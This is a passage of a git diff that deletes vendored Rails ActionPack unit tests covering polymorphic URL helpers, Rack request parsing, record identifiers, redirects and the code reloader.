-      formatted_polymorphic_url([@article, :pdf])
-    end
-  end
-
-  def test_format_option
-    @article.save
-    expects(:article_url).with(@article, :format => :pdf)
-    polymorphic_url(@article, :format => :pdf)
-  end
-
-  def test_format_option_with_url_options
-    @article.save
-    expects(:article_url).with(@article, :format => :pdf, :param1 => '10')
-    polymorphic_url(@article, :format => :pdf, :param1 => '10')
-  end
-
-  def test_id_and_format_option
-    @article.save
-    expects(:article_url).with(:id => @article, :format => :pdf)
-    polymorphic_url(:id => @article, :format => :pdf)
-  end
-
-  def test_with_nested
-    @response.save
-    expects(:article_response_url).with(@article, @response)
-    polymorphic_url([@article, @response])
-  end
-
-  def test_with_nested_unsaved
-    expects(:article_responses_url).with(@article)
-    polymorphic_url([@article, @response])
-  end
-
-  def test_new_with_array_and_namespace
-    expects(:new_admin_article_url).with()
-    polymorphic_url([:admin, @article], :action => 'new')
-  end
-
-  def test_unsaved_with_array_and_namespace
-    expects(:admin_articles_url).with()
-    polymorphic_url([:admin, @article])
-  end
-
-  def test_nested_unsaved_with_array_and_namespace
-    @article.save
-    expects(:admin_article_url).with(@article)
-    polymorphic_url([:admin, @article])
-    expects(:admin_article_responses_url).with(@article)
-    polymorphic_url([:admin, @article, @response])
-  end
-
-  def test_nested_with_array_and_namespace
-    @response.save
-    expects(:admin_article_response_url).with(@article, @response)
-    polymorphic_url([:admin, @article, @response])
-
-    # a ridiculously long named route tests correct ordering of namespaces and nesting:
-    @tag = Tag.new
-    @tag.save
-    expects(:site_admin_article_response_tag_url).with(@article, @response, @tag)
-    polymorphic_url([:site, :admin, @article, @response, @tag])
-  end
-
-  def test_nesting_with_array_ending_in_singleton_resource
-    expects(:article_response_url).with(@article)
-    polymorphic_url([@article, :response])
-  end
-
-  def test_nesting_with_array_containing_singleton_resource
-    @tag = Tag.new
-    @tag.save
-    expects(:article_response_tag_url).with(@article, @tag)
-    polymorphic_url([@article, :response, @tag])
-  end
-
-  def test_nesting_with_array_containing_namespace_and_singleton_resource
-    @tag = Tag.new
-    @tag.save
-    expects(:admin_article_response_tag_url).with(@article, @tag)
-    polymorphic_url([:admin, @article, :response, @tag])
-  end
-
-  def test_nesting_with_array_containing_singleton_resource_and_format
-    @tag = Tag.new
-    @tag.save
-    expects(:article_response_tag_url).with(@article, @tag, :format => :pdf)
-    polymorphic_url([@article, :response, @tag], :format => :pdf)
-  end
-
-  def test_nesting_with_array_containing_singleton_resource_and_format_option
-    @tag = Tag.new
-    @tag.save
-    expects(:article_response_tag_url).with(@article, @tag, :format => :pdf)
-    polymorphic_url([@article, :response, @tag], :format => :pdf)
-  end
-
-  def test_nesting_with_array_containing_nil
-    expects(:article_response_url).with(@article)
-    polymorphic_url([@article, nil, :response])
-  end
-
-  def test_with_array_containing_single_object
-    @article.save
-    expects(:article_url).with(@article)
-    polymorphic_url([nil, @article])
-  end
-
-  def test_with_array_containing_single_name
-    @article.save
-    expects(:articles_url)
-    polymorphic_url([:articles])
-  end
-
-  # TODO: Needs to be updated to correctly know about whether the object is in a hash or not
-  def xtest_with_hash
-    expects(:article_url).with(@article)
-    @article.save
-    polymorphic_url(:id => @article)
-  end
-
-  def test_polymorphic_path_accepts_options
-    expects(:new_article_path).with()
-    polymorphic_path(@article, :action => :new)
-  end
-
-  def test_polymorphic_path_does_not_modify_arguments
-    expects(:admin_article_responses_url).with(@article)
-    path = [:admin, @article, @response]
-    assert_no_difference 'path.size' do
-      polymorphic_url(path)
-    end
-  end
-
-  # Tests for names where .plural.singular doesn't round-trip
-  def test_with_irregular_plural_record
-    @tax.save
-    expects(:taxis_url).with(@tax)
-    polymorphic_url(@tax)
-  end
-
-  def test_with_irregular_plural_new_record
-    expects(:taxes_url).with()
-    @tax.expects(:new_record?).returns(true)
-    polymorphic_url(@tax)
-  end
-
-  def test_with_irregular_plural_record_and_action
-    expects(:new_taxis_url).with()
-    @tax.expects(:new_record?).never
-    polymorphic_url(@tax, :action => 'new')
-  end
-
-  def test_irregular_plural_url_helper_prefixed_with_new
-    expects(:new_taxis_url).with()
-    new_polymorphic_url(@tax)
-  end
-
-  def test_irregular_plural_url_helper_prefixed_with_edit
-    @tax.save
-    expects(:edit_taxis_url).with(@tax)
-    edit_polymorphic_url(@tax)
-  end
-
-  def test_with_nested_irregular_plurals
-    @fax.save
-    expects(:taxis_faxis_url).with(@tax, @fax)
-    polymorphic_url([@tax, @fax])
-  end
-
-  def test_with_nested_unsaved_irregular_plurals
-    expects(:taxis_faxes_url).with(@tax)
-    polymorphic_url([@tax, @fax])
-  end
-
-  def test_new_with_irregular_plural_array_and_namespace
-    expects(:new_admin_taxis_url).with()
-    polymorphic_url([:admin, @tax], :action => 'new')
-  end
-
-  def test_unsaved_with_irregular_plural_array_and_namespace
-    expects(:admin_taxes_url).with()
-    polymorphic_url([:admin, @tax])
-  end
-
-  def test_nesting_with_irregular_plurals_and_array_ending_in_singleton_resource
-    expects(:taxis_faxis_url).with(@tax)
-    polymorphic_url([@tax, :faxis])
-  end
-
-  def test_with_array_containing_single_irregular_plural_object
-    @tax.save
-    expects(:taxis_url).with(@tax)
-    polymorphic_url([nil, @tax])
-  end
-
-  def test_with_array_containing_single_name_irregular_plural
-    @tax.save
-    expects(:taxes_url)
-    polymorphic_url([:taxes])
-  end
-
-  def test_with_array_containing_symbols
-    expects(:new_article_url).with()
-    polymorphic_url([:new, :article])
-  end
-end
diff --git a/vendor/rails/actionpack/test/controller/rack_test.rb b/vendor/rails/actionpack/test/controller/rack_test.rb
deleted file mode 100644
index 3d0643cf..00000000
--- a/vendor/rails/actionpack/test/controller/rack_test.rb
+++ /dev/null
@@ -1,308 +0,0 @@
-require 'abstract_unit'
-
-class BaseRackTest < ActiveSupport::TestCase
-  def setup
-    @env = {
-      "HTTP_MAX_FORWARDS" => "10",
-      "SERVER_NAME" => "glu.ttono.us",
-      "FCGI_ROLE" => "RESPONDER",
-      "AUTH_TYPE" => "Basic",
-      "HTTP_X_FORWARDED_HOST" => "glu.ttono.us",
-      "HTTP_ACCEPT_CHARSET" => "UTF-8",
-      "HTTP_ACCEPT_ENCODING" => "gzip, deflate",
-      "HTTP_CACHE_CONTROL" => "no-cache, max-age=0",
-      "HTTP_PRAGMA" => "no-cache",
-      "HTTP_USER_AGENT" => "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)",
-      "PATH_INFO" => "/homepage/",
-      "HTTP_ACCEPT_LANGUAGE" => "en",
-      "HTTP_NEGOTIATE" => "trans",
-      "HTTP_HOST" => "glu.ttono.us:8007",
-      "HTTP_REFERER" => "http://www.google.com/search?q=glu.ttono.us",
-      "HTTP_FROM" => "googlebot",
-      "SERVER_PROTOCOL" => "HTTP/1.1",
-      "REDIRECT_URI" => "/dispatch.fcgi",
-      "SCRIPT_NAME" => "/dispatch.fcgi",
-      "SERVER_ADDR" => "207.7.108.53",
-      "REMOTE_ADDR" => "207.7.108.53",
-      "REMOTE_HOST" => "google.com",
-      "REMOTE_IDENT" => "kevin",
-      "REMOTE_USER" => "kevin",
-      "SERVER_SOFTWARE" => "lighttpd/1.4.5",
-      "HTTP_COOKIE" => "_session_id=c84ace84796670c052c6ceb2451fb0f2; is_admin=yes",
-      "HTTP_X_FORWARDED_SERVER" => "glu.ttono.us",
-      "REQUEST_URI" => "/admin",
-      "DOCUMENT_ROOT" => "/home/kevinc/sites/typo/public",
-      "PATH_TRANSLATED" => "/home/kevinc/sites/typo/public/homepage/",
-      "SERVER_PORT" => "8007",
-      "QUERY_STRING" => "",
-      "REMOTE_PORT" => "63137",
-      "GATEWAY_INTERFACE" => "CGI/1.1",
-      "HTTP_X_FORWARDED_FOR" => "65.88.180.234",
-      "HTTP_ACCEPT" => "*/*",
-      "SCRIPT_FILENAME" => "/home/kevinc/sites/typo/public/dispatch.fcgi",
-      "REDIRECT_STATUS" => "200",
-      "REQUEST_METHOD" => "GET"
-    }
-    @request = ActionController::Request.new(@env)
-    # some Nokia phone browsers omit the space after the semicolon separator.
-    # some developers have grown accustomed to using comma in cookie values.
-    @alt_cookie_fmt_request = ActionController::Request.new(@env.merge({"HTTP_COOKIE"=>"_session_id=c84ace847,96670c052c6ceb2451fb0f2;is_admin=yes"}))
-  end
-
-  def default_test; end
-
-  private
-
-  def set_content_data(data)
-    @request.env['REQUEST_METHOD'] = 'POST'
-    @request.env['CONTENT_LENGTH'] = data.length
-    @request.env['CONTENT_TYPE'] = 'application/x-www-form-urlencoded; charset=utf-8'
-    @request.env['rack.input'] = StringIO.new(data)
-  end
-end
-
-class RackRequestTest < BaseRackTest
-  def test_proxy_request
-    assert_equal 'glu.ttono.us', @request.host_with_port
-  end
-
-  def test_http_host
-    @env.delete "HTTP_X_FORWARDED_HOST"
-    @env['HTTP_HOST'] = "rubyonrails.org:8080"
-    assert_equal "rubyonrails.org", @request.host
-    assert_equal "rubyonrails.org:8080", @request.host_with_port
-
-    @env['HTTP_X_FORWARDED_HOST'] = "www.firsthost.org, www.secondhost.org"
-    assert_equal "www.secondhost.org", @request.host
-  end
-
-  def test_http_host_with_default_port_overrides_server_port
-    @env.delete "HTTP_X_FORWARDED_HOST"
-    @env['HTTP_HOST'] = "rubyonrails.org"
-    assert_equal "rubyonrails.org", @request.host_with_port
-  end
-
-  def test_host_with_port_defaults_to_server_name_if_no_host_headers
-    @env.delete "HTTP_X_FORWARDED_HOST"
-    @env.delete "HTTP_HOST"
-    assert_equal "glu.ttono.us:8007", @request.host_with_port
-  end
-
-  def test_host_with_port_falls_back_to_server_addr_if_necessary
-    @env.delete "HTTP_X_FORWARDED_HOST"
-    @env.delete "HTTP_HOST"
-    @env.delete "SERVER_NAME"
-    assert_equal "207.7.108.53", @request.host
-    assert_equal 8007, @request.port
-    assert_equal "207.7.108.53:8007", @request.host_with_port
-  end
-
-  def test_host_with_port_if_http_standard_port_is_specified
-    @env['HTTP_X_FORWARDED_HOST'] = "glu.ttono.us:80"
-    assert_equal "glu.ttono.us", @request.host_with_port
-  end
-
-  def test_host_with_port_if_https_standard_port_is_specified
-    @env['HTTP_X_FORWARDED_PROTO'] = "https"
-    @env['HTTP_X_FORWARDED_HOST'] = "glu.ttono.us:443"
-    assert_equal "glu.ttono.us", @request.host_with_port
-  end
-
-  def test_host_if_ipv6_reference
-    @env.delete "HTTP_X_FORWARDED_HOST"
-    @env['HTTP_HOST'] = "[2001:1234:5678:9abc:def0::dead:beef]"
-    assert_equal "[2001:1234:5678:9abc:def0::dead:beef]", @request.host
-  end
-
-  def test_host_if_ipv6_reference_with_port
-    @env.delete "HTTP_X_FORWARDED_HOST"
-    @env['HTTP_HOST'] = "[2001:1234:5678:9abc:def0::dead:beef]:8008"
-    assert_equal "[2001:1234:5678:9abc:def0::dead:beef]", @request.host
-  end
-
-  def test_cgi_environment_variables
-    assert_equal "Basic", @request.auth_type
-    assert_equal 0, @request.content_length
-    assert_equal nil, @request.content_type
-    assert_equal "CGI/1.1", @request.gateway_interface
-    assert_equal "*/*", @request.accept
-    assert_equal "UTF-8", @request.accept_charset
-    assert_equal "gzip, deflate", @request.accept_encoding
-    assert_equal "en", @request.accept_language
-    assert_equal "no-cache, max-age=0", @request.cache_control
-    assert_equal "googlebot", @request.from
-    assert_equal "glu.ttono.us", @request.host
-    assert_equal "trans", @request.negotiate
-    assert_equal "no-cache", @request.pragma
-    assert_equal "http://www.google.com/search?q=glu.ttono.us", @request.referer
-    assert_equal "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)", @request.user_agent
-    assert_equal "/homepage/", @request.path_info
-    assert_equal "/home/kevinc/sites/typo/public/homepage/", @request.path_translated
-    assert_equal "", @request.query_string
-    assert_equal "207.7.108.53", @request.remote_addr
-    assert_equal "google.com", @request.remote_host
-    assert_equal "kevin", @request.remote_ident
-    assert_equal "kevin", @request.remote_user
-    assert_equal :get, @request.request_method
-    assert_equal "/dispatch.fcgi", @request.script_name
-    assert_equal "glu.ttono.us", @request.server_name
-    assert_equal 8007, @request.server_port
-    assert_equal "HTTP/1.1", @request.server_protocol
-    assert_equal "lighttpd", @request.server_software
-  end
-
-  def test_cookie_syntax_resilience
-    cookies = @request.cookies
-    assert_equal "c84ace84796670c052c6ceb2451fb0f2", cookies["_session_id"], cookies.inspect
-    assert_equal "yes", cookies["is_admin"], cookies.inspect
-
-    alt_cookies = @alt_cookie_fmt_request.cookies
-    #assert_equal "c84ace847,96670c052c6ceb2451fb0f2", alt_cookies["_session_id"], alt_cookies.inspect
-    assert_equal "yes", alt_cookies["is_admin"], alt_cookies.inspect
-  end
-end
-
-class RackRequestParamsParsingTest < BaseRackTest
-  def test_doesnt_break_when_content_type_has_charset
-    set_content_data 'flamenco=love'
-
-    assert_equal({"flamenco"=> "love"}, @request.request_parameters)
-  end
-
-  def test_doesnt_interpret_request_uri_as_query_string_when_missing
-    @request.env['REQUEST_URI'] = 'foo'
-    assert_equal({}, @request.query_parameters)
-  end
-end
-
-class RackRequestContentTypeTest < BaseRackTest
-  def test_html_content_type_verification
-    @request.env['CONTENT_TYPE'] = Mime::HTML.to_s
-    assert @request.content_type.verify_request?
-  end
-
-  def test_xml_content_type_verification
-    @request.env['CONTENT_TYPE'] = Mime::XML.to_s
-    assert !@request.content_type.verify_request?
-  end
-end
-
-class RackRequestNeedsRewoundTest < BaseRackTest
-  def test_body_should_be_rewound
-    data = 'foo'
-    @env['rack.input'] = StringIO.new(data)
-    @env['CONTENT_LENGTH'] = data.length
-    @env['CONTENT_TYPE'] = 'application/x-www-form-urlencoded; charset=utf-8'
-
-    # Read the request body by parsing params.
-    request = ActionController::Request.new(@env)
-    request.request_parameters
-
-    # Should have rewound the body.
-    assert_equal 0, request.body.pos
-  end
-end
-
-class RackResponseTest < BaseRackTest
-  def setup
-    super
-    @response = ActionController::Response.new
-  end
-
-  def test_simple_output
-    @response.body = "Hello, World!"
-    @response.prepare!
-
-    status, headers, body = @response.to_a
-    assert_equal 200, status
-    assert_equal({
-      "Content-Type" => "text/html; charset=utf-8",
-      "Cache-Control" => "private, max-age=0, must-revalidate",
-      "ETag" => '"65a8e27d8879283831b664bd8b7f0ad4"',
-      "Content-Length" => "13"
-    }, headers)
-
-    parts = []
-    body.each { |part| parts << part }
-    assert_equal ["Hello, World!"], parts
-  end
-
-  def test_utf8_output
-    @response.body = [1090, 1077, 1089, 1090].pack("U*")
-    @response.prepare!
-
-    status, headers, body = @response.to_a
-    assert_equal 200, status
-    assert_equal({
-      "Content-Type" => "text/html; charset=utf-8",
-      "Cache-Control" => "private, max-age=0, must-revalidate",
-      "ETag" => '"ebb5e89e8a94e9dd22abf5d915d112b2"',
-      "Content-Length" => "8"
-    }, headers)
-  end
-
-  def test_streaming_block
-    @response.body = Proc.new do |response, output|
-      5.times { |n| output.write(n) }
-    end
-    @response.prepare!
-
-    status, headers, body = @response.to_a
-    assert_equal 200, status
-    assert_equal({
-      "Content-Type" => "text/html; charset=utf-8",
-      "Cache-Control" => "no-cache"
-    }, headers)
-
-    parts = []
-    body.each { |part| parts << part }
-    assert_equal ["0", "1", "2", "3", "4"], parts
-  end
-
-  def test_streaming_block_with_flush_is_deprecated
-    @response.body = Proc.new do |response, output|
-      5.times do |n|
-        output.write(n)
-        output.flush
-      end
-    end
-
-    assert_deprecated(/output.flush is no longer needed/) do
-      @response.prepare!
-      status, headers, body = @response.to_a
-
-      parts = []
-      body.each { |part| parts << part }
-    end
-  end
-end
-
-class RackResponseHeadersTest < BaseRackTest
-  def setup
-    super
-    @response = ActionController::Response.new
-    @response.status = "200 OK"
-  end
-
-  def test_content_type
-    [204, 304].each do |c|
-      @response.status = c.to_s
-      assert !response_headers.has_key?("Content-Type"), "#{c} should not have Content-Type header"
-    end
-
-    [200, 302, 404, 500].each do |c|
-      @response.status = c.to_s
-      assert response_headers.has_key?("Content-Type"), "#{c} did not have Content-Type header"
-    end
-  end
-
-  def test_status
-    assert !response_headers.has_key?('Status')
-  end
-
-  private
-    def response_headers
-      @response.prepare!
-      @response.to_a[1]
-    end
-end
diff --git a/vendor/rails/actionpack/test/controller/record_identifier_test.rb b/vendor/rails/actionpack/test/controller/record_identifier_test.rb
deleted file mode 100644
index 12c1eaea..00000000
--- a/vendor/rails/actionpack/test/controller/record_identifier_test.rb
+++ /dev/null
@@ -1,139 +0,0 @@
-require 'abstract_unit'
-
-class Comment
-  attr_reader :id
-  def save; @id = 1 end
-  def new_record?; @id.nil? end
-  def name
-    @id.nil? ? 'new comment' : "comment ##{@id}"
-  end
-end
-
-class Comment::Nested < Comment; end
-
-class Test::Unit::TestCase
-  protected
-    def comments_url
-      'http://www.example.com/comments'
-    end
-    
-    def comment_url(comment)
-      "http://www.example.com/comments/#{comment.id}"
-    end
-end
-
-
-class RecordIdentifierTest < Test::Unit::TestCase
-  include ActionController::RecordIdentifier
-
-  def setup
-    @klass  = Comment
-    @record = @klass.new
-    @singular = 'comment'
-    @plural = 'comments'
-  end
-
-  def test_dom_id_with_new_record
-    assert_equal "new_#{@singular}", dom_id(@record)
-  end
-
-  def test_dom_id_with_new_record_and_prefix
-    assert_equal "custom_prefix_#{@singular}", dom_id(@record, :custom_prefix)
-  end
-
-  def test_dom_id_with_saved_record
-    @record.save
-    assert_equal "#{@singular}_1", dom_id(@record)
-  end
-
-  def test_dom_id_with_prefix
-    @record.save
-    assert_equal "edit_#{@singular}_1", dom_id(@record, :edit)
-  end
-
-  def test_partial_path
-    expected = "#{@plural}/#{@singular}"
-    assert_equal expected, partial_path(@record)
-    assert_equal expected, partial_path(Comment)
-  end
-
-  def test_partial_path_with_namespaced_controller_path
-    expected = "admin/#{@plural}/#{@singular}"
-    assert_equal expected, partial_path(@record, "admin/posts")
-    assert_equal expected, partial_path(@klass, "admin/posts")
-  end
-
-  def test_partial_path_with_not_namespaced_controller_path
-    expected = "#{@plural}/#{@singular}"
-    assert_equal expected, partial_path(@record, "posts")
-    assert_equal expected, partial_path(@klass, "posts")
-  end
-
-  def test_dom_class
-    assert_equal @singular, dom_class(@record)
-  end
-  
-  def test_dom_class_with_prefix
-    assert_equal "custom_prefix_#{@singular}", dom_class(@record, :custom_prefix)
-  end
-
-  def test_singular_class_name
-    assert_equal @singular, singular_class_name(@record)
-  end
-
-  def test_singular_class_name_for_class
-    assert_equal @singular, singular_class_name(@klass)
-  end
-
-  def test_plural_class_name
-    assert_equal @plural, plural_class_name(@record)
-  end
-
-  def test_plural_class_name_for_class
-    assert_equal @plural, plural_class_name(@klass)
-  end
-
-  private
-    def method_missing(method, *args)
-      RecordIdentifier.send(method, *args)
-    end
-end
-
-class NestedRecordIdentifierTest < RecordIdentifierTest
-  def setup
-    @klass  = Comment::Nested
-    @record = @klass.new
-    @singular = 'comment_nested'
-    @plural = 'comment_nesteds'
-  end
-
-  def test_partial_path
-    expected = "comment/nesteds/nested"
-    assert_equal expected, partial_path(@record)
-    assert_equal expected, partial_path(Comment::Nested)
-  end
-
-  def test_partial_path_with_namespaced_controller_path
-    expected = "admin/comment/nesteds/nested"
-    assert_equal expected, partial_path(@record, "admin/posts")
-    assert_equal expected, partial_path(@klass, "admin/posts")
-  end
-
-  def test_partial_path_with_deeper_namespaced_controller_path
-    expected = "deeper/admin/comment/nesteds/nested"
-    assert_equal expected, partial_path(@record, "deeper/admin/posts")
-    assert_equal expected, partial_path(@klass, "deeper/admin/posts")
-  end
-
-  def test_partial_path_with_even_deeper_namespaced_controller_path
-    expected = "even/more/deeper/admin/comment/nesteds/nested"
-    assert_equal expected, partial_path(@record, "even/more/deeper/admin/posts")
-    assert_equal expected, partial_path(@klass, "even/more/deeper/admin/posts")
-  end
-
-  def test_partial_path_with_not_namespaced_controller_path
-    expected = "comment/nesteds/nested"
-    assert_equal expected, partial_path(@record, "posts")
-    assert_equal expected, partial_path(@klass, "posts")
-  end
-end
diff --git a/vendor/rails/actionpack/test/controller/redirect_test.rb b/vendor/rails/actionpack/test/controller/redirect_test.rb
deleted file mode 100644
index e80502b6..00000000
--- a/vendor/rails/actionpack/test/controller/redirect_test.rb
+++ /dev/null
@@ -1,285 +0,0 @@
-require 'abstract_unit'
-
-class WorkshopsController < ActionController::Base
-end
-
-class Workshop
-  attr_accessor :id, :new_record
-
-  def initialize(id, new_record)
-    @id, @new_record = id, new_record
-  end
-
-  def new_record?
-    @new_record
-  end
-
-  def to_s
-    id.to_s
-  end
-end
-
-class RedirectController < ActionController::Base
-  def simple_redirect
-    redirect_to :action => "hello_world"
-  end
-
-  def redirect_with_status
-    redirect_to({:action => "hello_world", :status => 301})
-  end
-
-  def redirect_with_status_hash
-    redirect_to({:action => "hello_world"}, {:status => 301})
-  end
-
-  def url_redirect_with_status
-    redirect_to("http://www.example.com", :status => :moved_permanently)
-  end
-
-  def url_redirect_with_status_hash
-    redirect_to("http://www.example.com", {:status => 301})
-  end
-
-  def relative_url_redirect_with_status
-    redirect_to("/things/stuff", :status => :found)
-  end
-
-  def relative_url_redirect_with_status_hash
-    redirect_to("/things/stuff", {:status => 301})
-  end
-
-  def redirect_to_back_with_status
-    redirect_to :back, :status => 307
-  end
-
-  def host_redirect
-    redirect_to :action => "other_host", :only_path => false, :host => 'other.test.host'
-  end
-
-  def module_redirect
-    redirect_to :controller => 'module_test/module_redirect', :action => "hello_world"
-  end
-
-  def redirect_with_assigns
-    @hello = "world"
-    redirect_to :action => "hello_world"
-  end
-
-  def redirect_to_url
-    redirect_to "http://www.rubyonrails.org/"
-  end
-
-  def redirect_to_url_with_unescaped_query_string
-    redirect_to "http://dev.rubyonrails.org/query?status=new"
-  end
-
-  def redirect_to_url_with_complex_scheme
-    redirect_to "x-test+scheme.complex:redirect"
-  end
-
-  def redirect_to_back
-    redirect_to :back
-  end
-
-  def redirect_to_existing_record
-    redirect_to Workshop.new(5, false)
-  end
-
-  def redirect_to_new_record
-    redirect_to Workshop.new(5, true)
-  end
-
-  def redirect_to_nil
-    redirect_to nil
-  end
-
-  def rescue_errors(e) raise e end
-
-  def rescue_action(e) raise end
-
-  protected
-    def dashbord_url(id, message)
-      url_for :action => "dashboard", :params => { "id" => id, "message" => message }
-    end
-end
-
-class RedirectTest < ActionController::TestCase
-  tests RedirectController
-
-  def test_simple_redirect
-    get :simple_redirect
-    assert_response :redirect
-    assert_equal "http://test.host/redirect/hello_world", redirect_to_url
-  end
-
-  def test_redirect_with_no_status
-    get :simple_redirect
-    assert_response 302
-    assert_equal "http://test.host/redirect/hello_world", redirect_to_url
-  end
-
-  def test_redirect_with_status
-    get :redirect_with_status
-    assert_response 301
-    assert_equal "http://test.host/redirect/hello_world", redirect_to_url
-  end
-
-  def test_redirect_with_status_hash
-    get :redirect_with_status_hash
-    assert_response 301
-    assert_equal "http://test.host/redirect/hello_world", redirect_to_url
-  end
-
-  def test_url_redirect_with_status
-    get :url_redirect_with_status
-    assert_response 301
-    assert_equal "http://www.example.com", redirect_to_url
-  end
-
-  def test_url_redirect_with_status_hash
-    get :url_redirect_with_status_hash
-    assert_response 301
-    assert_equal "http://www.example.com", redirect_to_url
-  end
-
-
-  def test_relative_url_redirect_with_status
-    get :relative_url_redirect_with_status
-    assert_response 302
-    assert_equal "http://test.host/things/stuff", redirect_to_url
-  end
-
-  def test_relative_url_redirect_with_status_hash
-    get :relative_url_redirect_with_status_hash
-    assert_response 301
-    assert_equal "http://test.host/things/stuff", redirect_to_url
-  end
-
-  def test_redirect_to_back_with_status
-    @request.env["HTTP_REFERER"] = "http://www.example.com/coming/from"
-    get :redirect_to_back_with_status
-    assert_response 307
-    assert_equal "http://www.example.com/coming/from", redirect_to_url
-  end
-
-  def test_simple_redirect_using_options
-    get :host_redirect
-    assert_response :redirect
-    assert_redirected_to :action => "other_host", :only_path => false, :host => 'other.test.host'
-  end
-
-  def test_module_redirect
-    get :module_redirect
-    assert_response :redirect
-    assert_redirected_to "http://test.host/module_test/module_redirect/hello_world"
-  end
-
-  def test_module_redirect_using_options
-    get :module_redirect
-    assert_response :redirect
-    assert_redirected_to :controller => 'module_test/module_redirect', :action => 'hello_world'
-  end
-
-  def test_redirect_with_assigns
-    get :redirect_with_assigns
-    assert_response :redirect
-    assert_equal "world", assigns["hello"]
-  end
-
-  def test_redirect_to_url
-    get :redirect_to_url
-    assert_response :redirect
-    assert_redirected_to "http://www.rubyonrails.org/"
-  end
-
-  def test_redirect_to_url_with_unescaped_query_string
-    get :redirect_to_url_with_unescaped_query_string
-    assert_response :redirect
-    assert_redirected_to "http://dev.rubyonrails.org/query?status=new"
-  end
-
-  def test_redirect_to_url_with_complex_scheme
-    get :redirect_to_url_with_complex_scheme
-    assert_response :redirect
-    assert_equal "x-test+scheme.complex:redirect", redirect_to_url
-  end
-
-  def test_redirect_to_back
-    @request.env["HTTP_REFERER"] = "http://www.example.com/coming/from"
-    get :redirect_to_back
-    assert_response :redirect
-    assert_equal "http://www.example.com/coming/from", redirect_to_url
-  end
-
-  def test_redirect_to_back_with_no_referer
-    assert_raise(ActionController::RedirectBackError) {
-      @request.env["HTTP_REFERER"] = nil
-      get :redirect_to_back
-    }
-  end
-
-  def test_redirect_to_record
-    ActionController::Routing::Routes.draw do |map|
-      map.resources :workshops
-      map.connect ':controller/:action/:id'
-    end
-
-    get :redirect_to_existing_record
-    assert_equal "http://test.host/workshops/5", redirect_to_url
-    assert_redirected_to Workshop.new(5, false)
-
-    get :redirect_to_new_record
-    assert_equal "http://test.host/workshops", redirect_to_url
-    assert_redirected_to Workshop.new(5, true)
-  end
-
-  def test_redirect_with_partial_params
-    get :module_redirect
-
-    assert_deprecated(/test_redirect_with_partial_params/) do
-      assert_redirected_to :action => 'hello_world'
-    end
-  end
-
-  def test_redirect_to_nil
-    assert_raise(ActionController::ActionControllerError) do
-      get :redirect_to_nil
-    end
-  end
-end
-
-module ModuleTest
-  class ModuleRedirectController < ::RedirectController
-    def module_redirect
-      redirect_to :controller => '/redirect', :action => "hello_world"
-    end
-  end
-
-  class ModuleRedirectTest < ActionController::TestCase
-    tests ModuleRedirectController
-
-    def test_simple_redirect
-      get :simple_redirect
-      assert_response :redirect
-      assert_equal "http://test.host/module_test/module_redirect/hello_world", redirect_to_url
-    end
-
-    def test_simple_redirect_using_options
-      get :host_redirect
-      assert_response :redirect
-      assert_redirected_to :action => "other_host", :only_path => false, :host => 'other.test.host'
-    end
-
-    def test_module_redirect
-      get :module_redirect
-      assert_response :redirect
-      assert_equal "http://test.host/redirect/hello_world", redirect_to_url
-    end
-
-    def test_module_redirect_using_options
-      get :module_redirect
-      assert_response :redirect
-      assert_redirected_to :controller => '/redirect', :action => "hello_world"
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/test/controller/reloader_test.rb b/vendor/rails/actionpack/test/controller/reloader_test.rb
deleted file mode 100644
index d78f8111..00000000
--- a/vendor/rails/actionpack/test/controller/reloader_test.rb
+++ /dev/null
@@ -1,125 +0,0 @@
-require 'abstract_unit'
-require 'thread'
-
-class ReloaderTests < ActiveSupport::TestCase
-  Reloader   = ActionController::Reloader
-  Dispatcher = ActionController::Dispatcher
-
-  class MyBody < Array
-    def initialize(&block)
-      @on_close = block
-    end
-
-    def foo
-      "foo"
-    end
-
-    def bar
-      "bar"
-    end
-
-    def close
-      @on_close.call if @on_close
-    end
-  end
-
-  def setup
-    @lock = Mutex.new
-  end
-
-  def test_it_reloads_the_application_before_yielding
-    Dispatcher.expects(:reload_application)
-    Reloader.run(@lock) do
-      [200, { "Content-Type" => "text/html" }, [""]]
-    end
-  end
-
-  def test_it_locks_before_yielding
-    lock = DummyMutex.new
-    Dispatcher.expects(:reload_application)
-    Reloader.run(lock) do
-      assert lock.locked?
-      [200, { "Content-Type" => "text/html" }, [""]]
-    end
-    assert lock.locked?
-  end
-
-  def test_it_unlocks_upon_calling_close_on_body
-    lock = DummyMutex.new
-    Dispatcher.expects(:reload_application)
-    headers, status, body = Reloader.run(lock) do
-      [200, { "Content-Type" => "text/html" }, [""]]
-    end
-    body.close
-    assert !lock.locked?
-  end
-
-  def test_it_unlocks_if_app_object_raises_exception
-    lock = DummyMutex.new
-    Dispatcher.expects(:reload_application)
-    assert_raise(RuntimeError) do
-      Reloader.run(lock) do
-        raise "oh no!"
-      end
-    end
-    assert !lock.locked?
-  end
-
-  def test_returned_body_object_always_responds_to_close
-    status, headers, body = Reloader.run(@lock) do
-      [200, { "Content-Type" => "text/html" }, [""]]
-    end
-    assert body.respond_to?(:close)
-  end
-
-  def test_returned_body_object_behaves_like_underlying_object
-    status, headers, body = Reloader.run(@lock) do
-      b = MyBody.new
-      b << "hello"
-      b << "world"
-      [200, { "Content-Type" => "text/html" }, b]
-    end
-    assert_equal 2, body.size
-    assert_equal "hello", body[0]
-    assert_equal "world", body[1]
-    assert_equal "foo", body.foo
-    assert_equal "bar", body.bar
-  end
-
-  def test_it_calls_close_on_underlying_object_when_close_is_called_on_body
-    close_called = false
-    status, headers, body = Reloader.run(@lock) do
-      b = MyBody.new do
-        close_called = true
-      end
-      [200, { "Content-Type" => "text/html" }, b]
-    end
-    body.close
-    assert close_called
-  end
-
-  def test_returned_body_object_responds_to_all_methods_supported_by_underlying_object
-    status, headers, body = Reloader.run(@lock) do
-      [200, { "Content-Type" => "text/html" }, MyBody.new]
-    end
-    assert body.respond_to?(:size)
-    assert body.respond_to?(:each)
-    assert body.respond_to?(:foo)
-    assert body.respond_to?(:bar)
-  end
-
-  def test_it_doesnt_clean_up_the_application_after_call
-    Dispatcher.expects(:cleanup_application).never
-    status, headers, body = Reloader.run(@lock) do
-      [200, { "Content-Type" => "text/html" }, MyBody.new]
-    end
-  end
-
-  def test_it_cleans_up_the_application_when_close_is_called_on_body
-    Dispatcher.expects(:cleanup_application)
-    status, headers, body = Reloader.run(@lock) do
-      [200, { "Content-Type" => "text/html" }, MyBody.new]
-    end
-    body.close
-  end
-end
